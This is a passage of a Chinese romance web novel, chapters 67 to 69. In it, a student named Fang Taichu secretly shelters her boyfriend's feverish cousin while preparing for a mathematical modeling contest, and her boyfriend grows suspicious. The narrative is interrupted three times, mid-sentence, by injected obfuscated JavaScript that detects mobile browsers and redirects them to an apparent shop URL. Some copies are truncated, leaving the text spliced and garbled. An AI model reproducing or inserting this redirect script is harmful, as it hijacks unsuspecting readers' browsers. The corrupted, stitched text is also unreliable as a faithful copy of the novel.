“是吗?”小初将保温杯盖子旋紧,放进背包侧面口袋,问他,“哪只手指?” “这个。”余萧弋将右手食指递给她看。 他本意是跟她开玩笑来着,谁承想,他话音刚落,指尖就传来一阵湿润的温暖,原来是她正在用唇瓣安抚着他,明明是这么暧昧的动作,她眼神却十分清澈纯真,以至于他呼吸都不自觉轻下来,思想更是半点不敢发散。 否则,就是犯罪。 “这样有没有好一点。”她问。 没有,更遭了。 但他不敢这么说,只能不自然地笑笑,“嗯。” “那就好。”小初只亲了一下就松开了手,“走吧,别让梁培风久等。” 余萧弋却不动,仍定定看着她,“方太初,有天你身边换成别人,你也会这么对他吗?” “什么别人?”小初眯了眯眸子。 “我是说如果。” “如果的事我哪知道?”小初裹了裹外套,“但爱的时候就真诚表达喜欢,总没错吧?” 余萧弋心头一刺,不说话了。 小初不明所以,“走吗?” “这个昨天你忘记拿了。”余萧弋从包里拿出昨天那个装首饰的盒子,递给她,“我昨晚没睡好,一直在想,我爸妈送这个礼物会不会真的给你压力太大了。对不起啊我也是第一次谈恋爱,真的不知道该怎么表达爱。” “你说什么?”小初把首饰盒接到手里,“余萧弋你脑子是不是有问题?我们马上要不眠不休做三十六个小时的题,你昨天晚上怎么可以不好好睡觉!” “……”余萧弋被她的没心没肺噎到呼吸滞涩,但到底还是笑了,没好气戳了戳她的额头,“我就多余……” 话还没说完就听见小初嘶了一声,“你轻点。” 昨天被余珺彦撞到的地方到现在还隐隐作痛,她早晨洗脸都没敢用力。 “怎么了?” “睡,睡得太迷糊,撞墙上了。”小初不自然地答道,她不是想撒谎,但很多事确实没办法和他说。 “还能撞墙上?药涂了吗?” 余萧弋凑近想帮她仔细看看,却被小初轻轻躲开,“已经没事了我们快走吧。” 两人向前走去,曹旸立刻跟上。 路上很多人和他们擦肩而过,有人认出了他们,但大概是她身后曹旸的气场太强了,他们只是朝他们张望着,并没有靠近。 他们索性就当没看见,还好没多久,他们就进了校园。 小初这才不经意问了句,“余珺彦没有被家里骂吧?” 余萧弋看她一眼,“怎么又问他?” “又不是只有我问,现在全网不都在讨论他吗?” “爷爷估计是想骂的,但他昨晚不知什么时候溜了出去,彻夜未归。今天一大早看报纸,才知道他去郭家了。” 小初发现自己心里的天秤已经不自觉偏向余珺彦了,未经思索话已出口,“可他凭什么要被骂啊,再怎么说他和郭小姐之前也谈了六年,郭家发生这么大事,他难道都不能现身吗?你爷爷是不是也太无情无义了一些?” 余萧弋凝了凝眸子,“你竟然是这么看的?不觉得他这么做,是在伤害另一个女人吗?” “你说杨敏之?”小初轻嗤,“他又不喜欢她,这桩婚事不是家里替他安排的吗?” “是家里替他安排的,可也是他本人点头的啊,如果不愿意一开始就应该抗争到底,而不是阳奉阴违,伤害无辜的人。家里难道没给别人安排过婚事吗?那为什么小姑能抗争成功,我能抗争成功,他就不能?” 小初愣住。 心里的天秤又被他拉回了一点。 仔细想想他说得也不无道理。 然后她才抓住刚刚他那句话的重点,“你……也抗争过?” “不然呢?”余萧弋垂眸看她一眼,又别开视线,“我跟我爷爷说了,我只要你,他要是逼我,我就入赘到你们家去,这辈子再不回香港,让他就当没有我这个孙子好了。” “哈?”小初惊呆了。 “我是不是特别情深义重。”余萧弋邀功。 “我看你挺贪生怕死的才对。”小初笑得快直不起腰,“人家发誓都要死要活的,你却拿入赘当说辞?再说,谁答应要你了啊?” “方太初!” 两人到达计算机系的机房的时候,梁培风已经到了。 小初见他这么冷的天只穿了一件薄毛衣,不禁有些担心,“大哥,我们要在这里熬两天一夜,紧接着就要正式比赛,这么要紧的关头,你要给自己搞感冒了,我真不能原谅你。” 梁培风看了看表,“我是没事儿,你们俩中途别因为题吵架就行。” 小初说,“那你放心。” 梁培风笑,“话别说那么早,之前也有情侣组队比赛的,然后一出考场就分手了。就是因为两人一言不合就互相指责,人在高度紧绷的状态下,做出什么都有可能。” 小初想了想,她和余萧弋好像还真没因为什么事翻过脸,这次倒是个好机会。 余萧弋却幽幽来了句,“我怎么感觉你没怎么盼我们俩好呢?” 梁培风嘴角一抽,也懒得跟他们这些情侣计较,他只是反省了一会儿,当初怎么就没坚持一下,把这个自负的家伙拦出去。 反省的结果就是,好像还真不能拦,他确实有点牛逼。 三人从题库里随机抽了道题,就很快进入了状态。 他们这次比赛的指导老师挂的梁培风的导师,对方说了,这间机房最近一个星期都属于他了,保证无人来打扰。 按照最初的设计,就是小初建模,梁培风编程,余萧弋写论文,但在实际操作中各个模块还是要团队讨论完成。 他们抽的是一道环境与政策的题,涉及连续型优化和数据分析。 这道题还是有点难度的,三人光是审题和讨论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666745|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就花了四个小时。中间建模优化算法又去掉十六个小时,后面留给编程和写论文的时间更紧,因为是模拟赛,他们不得不把时间分配压缩到原来的一半,如此一来,压力骤然升级为超级double。 好在三个人都还算是情绪稳定的人,即便如此也没有爆发什么剧烈冲突。 不仅没有冲突,甚至可以说是相当默契,全程都没有浪费时间在任何不应该的地方。 等模拟结束已经是第二天晚上九点,中间大家只穿插着睡了会儿,现在都已经困得不行了,小初合起电脑时就说了一句话,“梁培风,我就说我们不会吵架吧,让你不盼我们好。” 说完就一头扎在余萧弋怀里,闭上了眼睛。 梁培风累得宿舍都没回,直接钻进事先准备好的睡袋里,“行,你们没吵,你们特抗压,特默契,特天生一对,行了吧?” 余萧弋笑,“你再说下去我们俩结婚就要请你当伴郎了。” 可梁培风并没有说下去,他们出门的时候,他都跟周公下上棋了。 余萧弋跟小初说:“咱们怎么没想到那个睡袋的主意?后天就要比赛了,我得赶紧叫人准备。” 小初也没给他任何回应,她早已倚在他怀里睡着了。 那句结婚的话,最后他只说给了自己听。 他抱她出门的时候曹旸早已在楼下等,尽管再不舍,他还是把她交给了她。 自从她来香港,他们就失去了二人世界的资格,平时在餐厅吃饭都有一双眼睛在不远处盯着,小初更是连她住的公寓楼都不让他进,说是她爸从监控看见他身影一定会顺着网线追杀过来的。 “帮我照顾好她。”余萧弋轻轻把小初放在车子后排的座椅上,并扯过盖毯帮她盖住,嘱咐曹旸,“车开慢点,她睡觉不太乖,我怕她滚下去。” 曹旸点点头。 小初睡得迷迷糊糊,别人熬夜熬多了都睡不着,她相反,每次大脑高速旋转后都像耗尽电量的机器人一样,哪怕她再坚持,大脑都会给她强制关机充电。 到了楼下,曹旸停好车,才过来喊她,“小姐,到了。” 又喊了一声她还是没醒,曹旸没办法,只能俯身去抱她,两人身体相触的瞬间,小初立刻感觉到了什么不对,倏地一下睁开了眼。 原来,她也不是在谁怀里都能保持安全感的。 “曹旸姐,怎么是你?他呢?” “他,应该回去了吧,我们俩在你学校就分手了。” 小初有点着急,“哎呀他车子还停这边呢,你好歹该把他带过来啊。”这么想着她已经掏出手机给他拨了过去。 电话响了好几声,那边才接。 “Theo余,你回家了吗?” 余萧弋答:“没呢,我在等他们把睡袋送过来,我不打算回家了,就在这和培风一块睡了。” “行,那你好好休息。”小初这才放心下来,“我到家了,就关手机睡觉了啊,我们后天赛场见。” “好,爱你。” 小初挂了电话。 走到室外,她才发现这天气是真的冷。也不知道为什么,南方的十几度和北方的十几度,体感会差这么多。 “方太初。” 正要往楼门走,小初就被一个熟悉的声音绊住了脚步。 她不确定自己是不是幻听了,只能怀疑地回过身去,然后,就再次看见了余珺彦那张和她不相上下疲惫的脸。 “你怎么又来了?”小初烦躁地蹙了蹙眉,“我今天什么忙都帮不了你,我快要困死了。” “没让你帮忙。”余珺彦慢慢走近她,“你怎么了,脸色这么差?” “你又好到哪里去?”小初看了眼他身上单薄的衣服,“到底什么事?” 余珺彦抿抿唇,“没什么事,就老爷子还在气头上,我无处可去,鬼使神差就到这来了。” 小初被气笑,“拿我当避难所了?Ruby姐那边怎么样了?” “她们正在找大师算出殡时间,我一直在那总归不太方便,她说让我给她点喘息空间。” 这话倒像是郭羡如会说的。 小初突然想起件事来,“你来这没被记者看见吧?” “没,甩掉他们还不是什么难事。” 小初稍稍放心。 然后她也没时间跟他耗着了,“那你赶紧走吧,找个酒店睡一觉。我得进去了,晚安。” “晚安。”余珺彦笑笑,疲惫地转过身去,结果还没走两步,人就软软朝地上栽了下去。 “余珺彦!” 小初和曹旸跑上前去,这才发现他身体已经烫到不行了。 “曹旸姐!”她快急哭了,“怎么办?” 曹旸伸手探了探他的额头,声音还算镇定,“应该就是有点发烧,要么是感冒,要么是……”她扯了扯他的袖子,发现上面的伤口已经没有再渗液了,“应该就是感冒,不用担心。” 小初长舒口气,“吓死我,我还以为他要死我面前。” 曹旸说:“你别管了,我来管,你赶紧回去睡觉。” 小初还是有点不放心,“他跟家里人关系看来是真的很差,生病了宁可在大街上流浪,都不愿意回家。” 因为职业原因,曹旸从不在涉及别人的隐私的话题上插言,她稍稍思考了一下,审慎道:“我们先把他扶上楼吧,让他住我和阿姨那边,情况我稍后会和方先生汇报,就,就说……” 小初赶紧接过去,“别说,你和阿姨照顾到他不发烧了就让他走好了,反正他也不跟我住,我爸其实在意的只有余萧弋。”她顿了顿,“曹旸姐,你们做人贴身保镖的,进门前先处理一下摄像头,应该没问题吧?” 地上的余珺彦难受地蹙了蹙眉。 曹旸看了小初一眼,没说话。 “求你了曹旸姐。” 小初撒娇地摇了摇她的胳膊。 尽管三十六个小时没好好睡觉,对人撒娇的她仍天然散发着足够让人丧失抵抗力的惊人美丽。 某种和性别无关的,能深入人灵魂的蛊惑。 尤其那双秋水般动人的眼睛。 曹旸感觉自己要因为她把职业生涯搭上了。 68.第 68 章 电梯数字不停向上跳动的时候,有那么一瞬间,小初心底其实是有点后悔的,后悔管他们余家的闲事,确切地说,管他余珺彦的闲事。 她不是一个同情心泛滥的人,但也不知为什么,他总有让她为他一次次例外的本事。 “谢谢,真的好麻烦你。”余珺彦已经醒来,笑容疲惫不堪。 “少废话,知道麻烦就快点好起来。”小初掀眸淡淡看他一眼,“我不是在帮你,只是不想Ruby姐姐在承受丧父之痛的同时,还要抽出时间担心你。” 余珺彦仍是笑,“方太初,你凶起来的样子好像一只张牙舞爪的猫。” “我好心收留你,你却骂我?”小初竖眉。 “说你像猫,是说你很可爱的意思。” 小初不喜欢这种比喻,总觉得一个男人夸一个女人像猫,都有点权利动物逗弄自己心爱玩具的意味,不是欣赏,而是凝视。 她的眸色瞬间就冷了下来,正要反唇相讥,不想他下一句就是:“我和阿羡之前一起幻想过很多次,如果我们之间也有个女儿,就应该是你这样的,被好好爱着长大,骄傲又嚣张,但底色特别单纯善良。只可惜……”他神色一黯,“也不知我这辈子还有没有这个机会和福气。” 小初心头一刺,酸涩感袭来。 好,他又一次成功掌控了她的情绪。 “别想那么多,你现在首要任务是照顾好自己,只有自己好了,才有能力保护你想要保护的人。” 余珺彦点点头。 电梯门打开,小初率先迈步而出,回到房间简单洗漱了一下就将自己埋进被子里,也没管余珺彦后来烧成什么样,曹旸照顾他到几点。 她直睡到第二天下午四点多才起床,期间手机一直关的静音,连饭都没吃。醒来时外面正大雨如注,她懵懵然看着窗外的昏暗天色好半晌,意识才慢慢回归。 之前在北京的时候,她一直不理解她那些去国外留学的同学,怎么一到深夜朋友圈文案就成了现代诗大赛,一个比一个疼痛,一个比一个孤独。 现在,她什么都懂了。 迅速整理好心情,她打开微信。 余萧弋发了好多条消息过来,时间从早晨八点多开始,断断续续的。内容倒没别的,无非是关心她昨晚睡得怎么样,中间有没有起来吃点东西,又说天文台刚挂了8号风球,从明天上午十点开始,一场新的超强风暴就将抵达近海,给港岛带来至少三天强降雨。 原来是又要刮台风了,难怪天气骤变。 小初当然没忘,她和他就是因为台风结缘的,很多回忆袭来,她有些发怔。明明认识也没多久,两人却已经一起经历了那么多难忘的事,难怪很多小说作者可以将一段短暂的邂逅写得那么缠绵悱恻,令人肝肠寸断。 【睡得还行,就是好像睡太多了,有点腰疼。】 【阿姨应该准备好晚餐了,我一会儿就吃。】 又问他:【你怎么没多睡一会?那么早就起来了?】 退出和他的聊天框,她又给她爸妈留了言,说她想他们了。 也想家。 他们从东京回国之后他们还没有怎么联系过,她估计她爸还生她的气呢。 不想很快,方协文就回了过来,【我看香港又要刮台风了,这两天尽量别出门,安全第一。】 她有些感动,但还是提醒到:【爸,我明天数学建模竞赛,一大早就要去梁培风他们的计算机中心了,不过,刚好,我们会在那边封闭比赛七十二个小时,等我们出来,台风估计也过境了,安全肯定没问题,你和妈妈放心好了。】 方协文问,【姓余那小子也跟你一块吗?】 小初在床上翻了个身,忍不住替他解释,【爸,他是我们队长。】 方协文发过来一个翻白眼的表情:【缠得这么紧,烦不烦。】 【……】小初有些无语,【您能不能不要把什么事都往谈恋爱上面联想?我们参加的是正规比赛,选队友都是有专业标准的,好吗?】 【哦,那你跟梁培风说,方叔叔很看好他,让他好好比赛,要是拿了O奖,将来入职亦方的时候,我再给他一个丰厚的人才补贴。】 小初不想理他了。 黄亦玫这会儿刚忙完工作,看了两人的聊天记录实在没忍住,@方协文,【方总当年缠得不紧吗?我白天捡到猫,您晚上就倾家荡产把房子租好了,怎么,只许你州官放火,就不许别人点灯啊?】 小初还是第一次听到父母这段故事,不禁忽地从床上坐起了身,【方总当年在追女朋友这件事上,执行力也这么强吗?我之前怎么听说是黄女士追的您呢。】 方协文引用黄亦玫那一条,【在孩子面前能不能给我留几分面子。】 又拍了拍小初,【这个“也”字看着刺眼,你给我撤回去。】 小初大笑,【我不。】 然后又说:【反正我比赛完就去见干妈,我倒要她好好给我讲讲你们的罗曼史,彻底弄清一下你们当年到底是谁追的谁,这件事在咱们家绝对不能成为悬案,不然有些人大话说久了,会忘了初心的。】 黄亦玫笑,【支持。】 方协文说,【你还笑,你是不是把初心忘了?】 小初笑着退出了聊天群。 正要给阿姨打电话叫她把晚餐给她送过来,余萧弋的消息进来了。 说是余珺彦从郭羡如返港那天晚上离开家到现在就一直联系不上,爷爷急得不行,今天一整天,全家都在不遗余力地通过各种渠道打听他的消息,却始终没有半点线索。 小初脑子里轰然一声。 她实在没想到事情会发展到这一步。这个余珺彦,还跟她说什么从小到大没有提要求的资格,说什么爷爷很生气所以生病了都不敢回家,明明,大家都这么关心他。 这要是余家找了半天却发现他在她这,可要她怎么收场啊! 仔细想想,很多事情似乎从在酒吧发生意外的那晚开始,就已经渐渐超出了她的掌控,她和余珺彦之间的羁绊也正以她完全没有心理准备的速度加深着,到现在,已让她进退两难,选不选择和余萧弋坦白,她都已陷入被动。 因为,坦白的那个最佳时机早已被她一念之差错过。 作茧自缚的结局,实在令她始料不及,好半晌,她都陷在失神之中,连嘴唇被自己咬破了都没发觉。 这边的房子,甚至是连他余萧弋都不能踏入的禁区,现在却要她告诉他,余珺彦被她带了回来,不仅带了回来,还在她这边过了夜,她该怎么开口,又怎么开得了口?他早就提醒了她的,不要靠近余珺彦,不要对他好奇,因为他是黑洞,会吞噬所有天体的光。 见她半天没回,余萧弋才说:【算了,本不该和你说这些的,你照顾好自己,不要影响明天比赛的状态。】 是啊,明天就要比赛了。 不仅她,还有他。 他们的状态会直接影响整个团队的发挥,进而影响到整件事中最无辜的梁培风。她和余萧弋拿不拿奖,倒还不会怎样,可梁培风只是个普通家庭的孩子,这种全球范围内的大型竞赛,他硕士毕业之前,就只剩这一次,含金量不言而喻。 她怎么敢让自己的私事,影响到人家的前程?又怎么敢辜负人家对她的信任? 昨天还信誓旦旦她和余萧弋绝不会在比赛中吵架影响大家状态呢,谁想到这么快,她就把一切都搞砸了? 所以,不能说。 至少,现在不能说。 就算为了梁培风。 于是回他:【余珺彦也那么大的人了,他还会照顾不好自己吗?郭家的事想必对他打击也挺大的,一时不想和任何人说话也是有可能的。你别担心了,今天一定要早点休息,别忘了我们还有一场七十二小时不眠不休的仗要打呢。】 余萧弋说OK。 收起手机,小初决定亲自去看看余珺彦怎么样了,趁现在雨还不算太大,只要还能走,他最好就给她立刻离开这里。 一出门,刚好碰上面色凝重的曹旸,两人都被对方下了一跳,过了好几秒才稳住呼吸。 “曹旸姐?” “小姐,你醒了?” 小初有种不祥的预感,“这么大雨,你干嘛去?不会是余珺彦更严重了吧?” 曹旸敛了敛神色,“倒也没有更严重,只是一直反反复复高烧不退,我记得你房间好像还有没拆包装的退热贴,想过去找一下。”又安慰道:“不过你别担心,人生病发烧是这样的。我昨天到现在给他吃的药药效都比较猛,就是想着让他赶紧好起来,快点走。” 小初点点头,“那你快去拿,我去看看他。” 曹旸说:“他这会儿正烧得难受呢,你让阿姨给你找个口罩,别被他传上。然后你就先吃饭,胃空太久会坏的。” “我还好。”小初哪还顾得上那么多,现在只要能把这块烫手山芋丢出去,别说让她一天不吃饭,哪怕三天不吃饭也行啊。 反正既然当初他在美国的公寓里三天没吃饭都能活下来,那她就也饿不死。 小初走进他房间的时候,余珺彦果然正以蜷缩的姿势躺在床上,不用靠近,都看得出他很难受。 大概是听到了脚步声,他没抬头,只说:“曹小姐多谢你,水帮我放在床头柜上就好。”然后又问,“方太初是不是一天都没吃饭了?你们怎么能任她这样睡?她是不是也哪里不舒服?” 小初脚步一顿。 本来要出口的刺心的话,却生生被她止住,她这个心软的毛病,迟早害死她。 “余珺彦,你都这样了,还有空操心别人呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她没有想到这个城府极深的余珺彦,竟还真是个不折不扣的情种。 只是她想不通,一个口口声声称自己没有被爱过的人,也有如此强大的力量去爱别人吗? “你放心,我一会儿就给爷爷打电话。” 小初退出了房间。 阿姨早把精心准备的晚餐端了上来,可她心事重重,只简单吃了几口就放下了筷子。 余萧弋的消息很快就进来了,【余珺彦联系上了,说是在他一个朋友家里。】 小初不知道回什么,只说了句:【那就好。】 余萧弋说:【那我们都早点睡,明天早晨我来接你。】 小初没拒绝。 雨下了一夜。 余萧弋前一晚在家里睡的,因为他的车子还停在小初公寓的楼下,又赶上台风,他只能从车库随便开了辆底盘还算高的车出来,顺便装上他们这三天的补给。 毕竟是七十二个小时的头脑风暴,后勤保障工作还是要做得更到位一些,不然,他们三个随便哪个坚持不下去,这场比赛就完了。 毕竟,从一开始,他们就是奔着O奖去的,但每年能获得O奖的团队全球加起来也就三四十个,这个概率,比他出门买彩票中奖还要低,不严阵以待无异于主动放弃机会。 雨天路况不好,他特地提早了一会儿出门。 到小初楼下的时候,她还没有下来。时间还早,他也就没急,而是一边喝咖啡一边打开了车载电台。 本想听听天气预报,不想就那么巧,里面传来的竟是周柏豪的声音,不过不是他们一起看落日橘子海时听的那首《Lovin''you》,而是另外一首,《我不要被你记住》。 别说我对你多紧要 似住进你生命里 遥望你与伴侣半夜布置家居 谁又希罕嘉许 谁须要日后被谁记住 谁贪你想起我的好处 我用施予当做赌注 难博到轰烈地同住 余萧弋手指轻点在方向盘上,某一瞬,忽觉这首歌的苦涩竟然不亚于口中的咖啡。 可惜,他摇头笑,他这辈子大概都尝不到爱情的苦了,所以,对于这种爱而不得或是无缘错过的故事,他听了也很难入心,自从认识方太初,他连私人歌单都已严重甜度超标。 正想发个消息告诉她他已经到了,不想视线那么一转,隔着被雨水冲刷的车窗,一串熟悉的数字就那么直直刺入眼底,刺得他半晌眼前都是某种危险化学物品爆燃后的空白,而后就是剧烈的痛,生理性眼泪怎么都止不住,手中咖啡从手中脱落,连同他,还有车内崭新的内饰,都染上了剧烈的酸涩果木味。 这款咖啡的风味是那么特别,让他感觉自己此刻正置身于一片走不出雨季的荒原中,灌木丛和草地都是植物遍体鳞伤汁液流淌的混乱。 余珺彦的车,正像一只伺机而动的豹,以骄傲又谨慎的姿态,静伏在那里,似是在等待着什么猎物落网。 他想不出他这种从小读贵族学校的公子哥,有什么朋友,会住在这种小公寓里。 69.第 69 章 小初下楼的时候,余萧弋已经将身上和车里洒的咖啡收拾好了,但她还是敏感地察觉到了什么不对,他的眼睛很红,目光也有些回避。 “你怎么了,昨晚没睡好?” 小初就着曹旸的伞将自己塞进副驾驶,并扣上安全带。 他侧眸过来,勾了勾唇,“还好。”下一秒,他就捕捉到了她嘴唇上破损的地方,眸色骤然加深,还没有想清楚自己要做什么,他的手指就已经覆在了上面,“这里,怎么了?” “啊?”他的触碰让那个本来已经没什么知觉的伤口骤然一痛,小初嘶了一声,“没事,就不小心咬到了。” “最近怎么这么不小心。”他指了指她的额头,“这里还痛吗?” 小初不自然笑笑,“好多了。” 余萧弋启动发动机,车子走了好远,他才不经意说道,“你不觉得车里味道很奇怪吗?” 小初仔细闻了闻,“好像是有种热带季风吹过雨后森林的味道,又像是泥土裹着长满苔藓的枯木,还挺特别的,怎么了,你换了香水?” 余萧弋不动声色地咬了咬唇,“小姐,我品味有那么奇怪吗?只是咖啡洒了。” “哦。”小初看了看车内环境,才看出来,“你换了辆车。” 余萧弋若有所思看她一眼,“这么显而易见的事,刚在外面竟然没发现?” 小初怔了一下,是啊,怎么没发现? 她出门的时候刚好赶上余珺彦也要离开,为了避免他们碰上,她不得不嘱咐他晚十分钟再走。 余珺彦的神色意味深长,“方小姐,你只是出于同情收留我一晚,又不是和我有其他不能见人的牵扯,慌什么?” 病后初愈的他面色还有些苍白,五官轮廓却更加立体清晰,配上窗外连绵阴雨,很有点古堡公爵的气质,小初忍了又忍,才没跟他计较。 可他没说错,她的确在慌,尽管她并不明白那丝慌乱来自于哪里。 直到打开车门的那一刻,和余萧弋从来只看向她一人的目光对上,她才恍然,原来在不知不觉中,她早把一颗心交给了他,也把自己的一部分灵魂让渡给了他。 正因如此,她才会在另一个男人越过边界靠近她时,产生这么强烈的背德感。 她的那条爱的抛物线,走势似乎已经完全不由她控制了,那他的呢? “雨太大了嘛,我哪有空注意那么多。”她的声音无意识染着撒娇。 余萧弋心里一阵钝痛,又说:“我还给你带了早餐。” “多谢你,不过我已经吃过了。” 余萧弋轻笑一声,“今天怎么这么客气?” “有吗?” 接下来的一路,两人谁也没有再和谁说话,气氛有点微妙。 到了目的地停好车,余萧弋打开后备箱,小初立刻被这个堪比小型能量补给站的空间惊到了,半晌才失笑,“后面曹旸车上我也买了好多吃的,这下好,我们可以安心在计算机系等台风过境了,如果你愿意,一起等末日也不是不行。” 竟还有心情开玩笑。 或许,是他想多了? 余萧弋深深看向她,“你什么时候开始操心这些事了?” 小初眨眨眼,“跟你学的啦,学了少少。” 梁培风照例比他们早到,一看见他们大包小包拎东西进门,他就笑道,“两位!我们还能不能有点默契啊,同样的事情三个人重复去做,好浪费时间!” 余萧弋说,“所以,这三天一定要合理规划时间,轮流休息好,保持高效率。” 梁培风点头,“没错。” 小初顺着他视线转过头去,才发现房间另一个角落里,铺着个新的睡袋,而且是双人的,她眼皮跳了跳。 梁培风说:“Theo你这睡袋我那天就想说了,你这跟要我睡在你们中间有什么区别?谁要做着做着题,一转眼看见你们俩抱着睡在一块啊。” “怎么谁都想睡我们俩中间?”余萧弋喝了口橘子汽水,“你想多了,我选这个,纯粹是因为我个高,睡单人的太局促了。” 小初不自觉想起两人刚认识时,他坚持睡在小沙发上的情景,那时候的他,怎么不嫌弃局促? 梁培风抓住重点,“哦?还有谁?” “??”他们在说什么? 小初挽起袖子,“再乱开玩笑,两个都拖出去打死。” 梁培风大笑,“这是要先帝创业前就崩殂吗?桃园还没走出去,世上就只剩三弟你一人?” 小初瞪他,“你才张飞!”视线转向余萧弋,却发现他仍低头咬着吸管,没有笑,眼底也没有情绪,甚至仿佛整个人都不在现场,周身都散发着一种很强的疏离感。 这样的他让她无比陌生。 比赛很快正式开始,梁培风再次提醒,接下来三天,他们两个无论产生多大分歧,都不许吵架,“吵架不仅误事,还伤感情,所以你们俩必须要克制,就当为了我。” 小初心想,可不就为了你,要不然,刚我在车里就什么都交代了,何苦现在这么煎熬。 三人开始讨论选题。 建模大赛一共六道题,MCM和ICM各三道。 MCM是数学建模大赛,偏自然和理工,题型对选手的数学和计算机能力要求很高。 ICM是交叉学科竞赛,相对偏社科人文以及评价决策和数据分析,考验的是团队的综合能力,模型计算出来的结果很可能是开放型的。 这种级别的比赛,题的难度都不会太低,所以最好的策略就是结合团队的专业优势,尽量避开太难以及容易被扎堆选择的题,专注模型设计本身,顾及到每个模块的完成度。 不然,选题太难,中间一旦卡住,后面就很被动。选题太热门,竞争又会趋近于白热化。这毕竟是全球性的比赛,实在高手如云。 比如ICM里的F题涉及政策研究,非常宏观且复杂,又要自行搜集海量数据,一般很少被团队选择。 而MCM里的C题历年都是参赛人数最多的,范文多,数据公开,容错率也低,比较保险。 因为三人都是数学和计算机背景出身的,所以一直以来他们练习和模拟最多的都是MCM的题,ICM里最多倾向于D题这种运筹学或网络科学领域赛题,因为算法和可视化的应用会比较匹配他们的专业能力。 光是对题型做阅读理解和讨论就花去了他们四五个小时,这还是在三人英语能力都不错、不存在阅读障碍的前提下,否则,还要给英语弱的那个人专门配个翻译,那样效率又会低很多。 最终的意见和模拟时无异,小初和梁培风都倾向于选B题。 今年的B题也很有意思,叫《比邻星B移民计划》,要求选手在末日来临前设计和优化航天器集中发射的时刻表。 既要保证人类安全撤离,又要尽量节省时间,因为每迟一分钟,都可能导致无数人被滞留在这座已经被废弃的星球,造成无法挽回的伤亡。 这个题乍一看只是个排班的问题,实际则要涉及到引力方程,优化模型,同时还要考虑到地球上极端气候和太阳系内引力变化等不确定因素的影响。 梁培风看到题的那一瞬间就笑了,“这个好办,按电影里演的,就抽签决定一小部分人离开保存人类火种就可以了,避免交通堵塞的最好办法就是限号。都这个时候了,大家都理性一点,必要的牺牲是无可避免的。” 小初喝口水:“不会设计方案,车子怎么少都没用。”又说,“你这也不够理性啊,理性就别谈公平,还抽签浪费时间干什么,让能生育的年轻男女带着孩子离开就好了。” 梁培风摆了摆右手食指,“那更理性的办法岂不是连孩子都不带?反正比邻星那么无聊,男男女女上去一顿猛生就完了。” 小初一口水差点喷出来,“梁培风你这个魔鬼。” 两人插科打诨的时候,余萧弋却始终保持着沉默,连目光都很淡。 小初抿了抿唇角,喊他,“Theo余,你觉得呢?” “什么?”他抬起头,像是思绪刚从比邻星上飘回,而且显然受到了太阳风的影响,有点恍惚。 “我们在说,就选B题,你觉得怎么样?” 余萧弋将目光落到那一大段英文上,“我都可以,你们定就好了。” “什么叫你都可以?”几个小时过去了,小初早就对他的心不在焉忍无可忍,“你不是这个团队的队员吗?你没有你的意见和感受吗?” 余萧弋看向她,似笑非笑,“所以你做事有考虑我的感受吗?” 小初愣在当场,蹙了蹙眉,“没考虑我现在问你干什么呢?从早晨到现在你情绪就不太对,怎么了,生理期啊?” “……” 余萧弋和梁培风同时默了默。 “好啊。”余萧弋突然勾了勾唇,“你要我选的话,我选这个。” 小初别过视线,顺着他指节分明的手,落在那道ICM 的F题上。这是一道涉及金融和货币政策的题,显然根本不在他们三人的专业背景覆盖下,她很怀疑他在浪费大家的时间。 “选这个?你确定?” “嗯,确定。” 小初声音微冷,即使再爱,也难免有些情绪失控,“所以,是你懂金融货币政策还是我懂,或者梁培风懂?而且,F题向来被称为生死游戏,你怎么知道我们是能侥幸活下来,还是一入局就死?” 余萧弋说:“你问我意见,我表达了我的想法,你又是这个反应吗?如果你根本没打算认真听我说什么,那我刚才已经说了,你们定,我都可以。” 梁培风察觉到了什么不对,立刻拍拍他的肩膀,“都冷静一点。” 小初被气得两侧的脸颊都变成了淡淡的红色:“余萧弋,我最讨厌把私人情绪带到工作中来的人。” 余萧弋有些诧异,“我哪句话带情绪了?不是你一直在往我身上预设情绪吗,怎么了方太初,你慌什么,心虚什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她只是在用心感受她的生命,至于其他的人或事,都只是她前行路上沿途的风景,就算再美再动人,也不会值得她停留。 她就是个没有心的坏蛋。 而他,竟然为了这个没有心的坏蛋,把自己的一切都交付出去了。 说什么非她不可,人家答应要他了吗? 他真可笑。 想到这,他竟然真的笑了。 小初也不知道他突然笑了是什么意思,不禁看了梁培风一眼,“对不住,我答应你的事没做到,但我现在必须要跟他单独说两句话,可以吗?” 梁培风无奈地看了看表,“限你十分钟内把他给我哄好。” 小初说:“你放心,不会耽误你拿O奖。” 说完就拉过余萧弋的手,把他拉到了门外。 因着台风,全校今天都放了假,走廊内很安静,安静到可以清晰听到两人的剧烈心跳。 “要说什么?” 余萧弋漫不经心地抽回自己的手,“这次的F题很难,但不凑巧,它考得东西我刚好都略懂。只是整个方案设计大概需要点时间,跟每次你和梁培风主导的那种题型不同,这次恐怕要我做好框架再由你们俩把数据和计算模型填充进去,这样一来,至少前面一天时间都要先交给我,权看你们敢不敢赌。” 小初沉思了一下,问他,“你有几成把握?” “几成不敢说,但肯定比你们选B题得O奖的概率高,你也说了,这是道生死题,选的人会很少,而我会是这道题的王。” “这么自负吗Theo余?”小初瞥他,“刚刚为什么不说?” 余萧弋瞪她一眼,“你给我机会了吗?”顿了顿,他又说,“我得提醒你,这不是自负,这是实力。” 